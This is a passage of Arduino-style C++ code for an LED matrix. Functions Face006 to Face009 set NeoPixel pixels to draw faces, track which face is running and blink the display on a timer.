Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = true; \/\/ Face006 - this face\n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face006BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face006 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(6, color); \n strip.setPixelColor(7, color); \n strip.setPixelColor(14, color); \n strip.setPixelColor(15, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(116, color); \n strip.setPixelColor(117, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(125, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(243, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(249, color); \n strip.setPixelColor(261, color); \n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(268, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(385, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color); \n strip.setPixelColor(504, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face006BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face006 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face006BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face007 ---------------------------------------------------------------------------------------------\nvoid Face007()\n{\n if (Face007RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(42, color); \n strip.setPixelColor(43, color); \n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(59, color); \n strip.setPixelColor(66, color); \n strip.setPixelColor(67, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(82, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(451, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(480, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = true; \/\/ Face007 - this face\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face007BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face007 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(42, color); \n strip.setPixelColor(43, color); \n strip.setPixelColor(50, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(58, color); \n strip.setPixelColor(59, color); \n strip.setPixelColor(66, color); \n strip.setPixelColor(67, color); \n strip.setPixelColor(74, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(82, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(189, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(197, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(451, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(472, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(480, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face007BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face007 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face007BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face008 ---------------------------------------------------------------------------------------------\nvoid Face008()\n{\n if (Face008RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(71, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(98, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(105, color); \n strip.setPixelColor(106, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(150, color); \n strip.setPixelColor(157, color); \n strip.setPixelColor(158, color); \n strip.setPixelColor(159, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(165, color); \n strip.setPixelColor(166, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(173, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(273, color); \n strip.setPixelColor(274, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(282, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(469, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(477, color); \n strip.setPixelColor(478, color); \n strip.setPixelColor(485, color); \n strip.setPixelColor(486, color); \n strip.setPixelColor(487, color); \n strip.setPixelColor(494, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = true; \/\/ Face008 - this face\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face008BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face008 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(71, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(91, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(98, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(105, color); \n strip.setPixelColor(106, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(150, color); \n strip.setPixelColor(157, color); \n strip.setPixelColor(158, color); \n strip.setPixelColor(159, color); \n strip.setPixelColor(164, color); \n strip.setPixelColor(165, color); \n strip.setPixelColor(166, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(173, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(273, color); \n strip.setPixelColor(274, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(282, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(469, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(477, color); \n strip.setPixelColor(478, color); \n strip.setPixelColor(485, color); \n strip.setPixelColor(486, color); \n strip.setPixelColor(487, color); \n strip.setPixelColor(494, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face008BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face008 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face008BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face009 ---------------------------------------------------------------------------------------------\nvoid Face009()\n{\n if (Face009RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(27, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(147, color); \n strip.setPixelColor(148, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(355, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(484, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(492, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = true; \/\/ Face009 - this face\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face009BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face009 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(19, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(27, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(35, color); \n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(99, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); 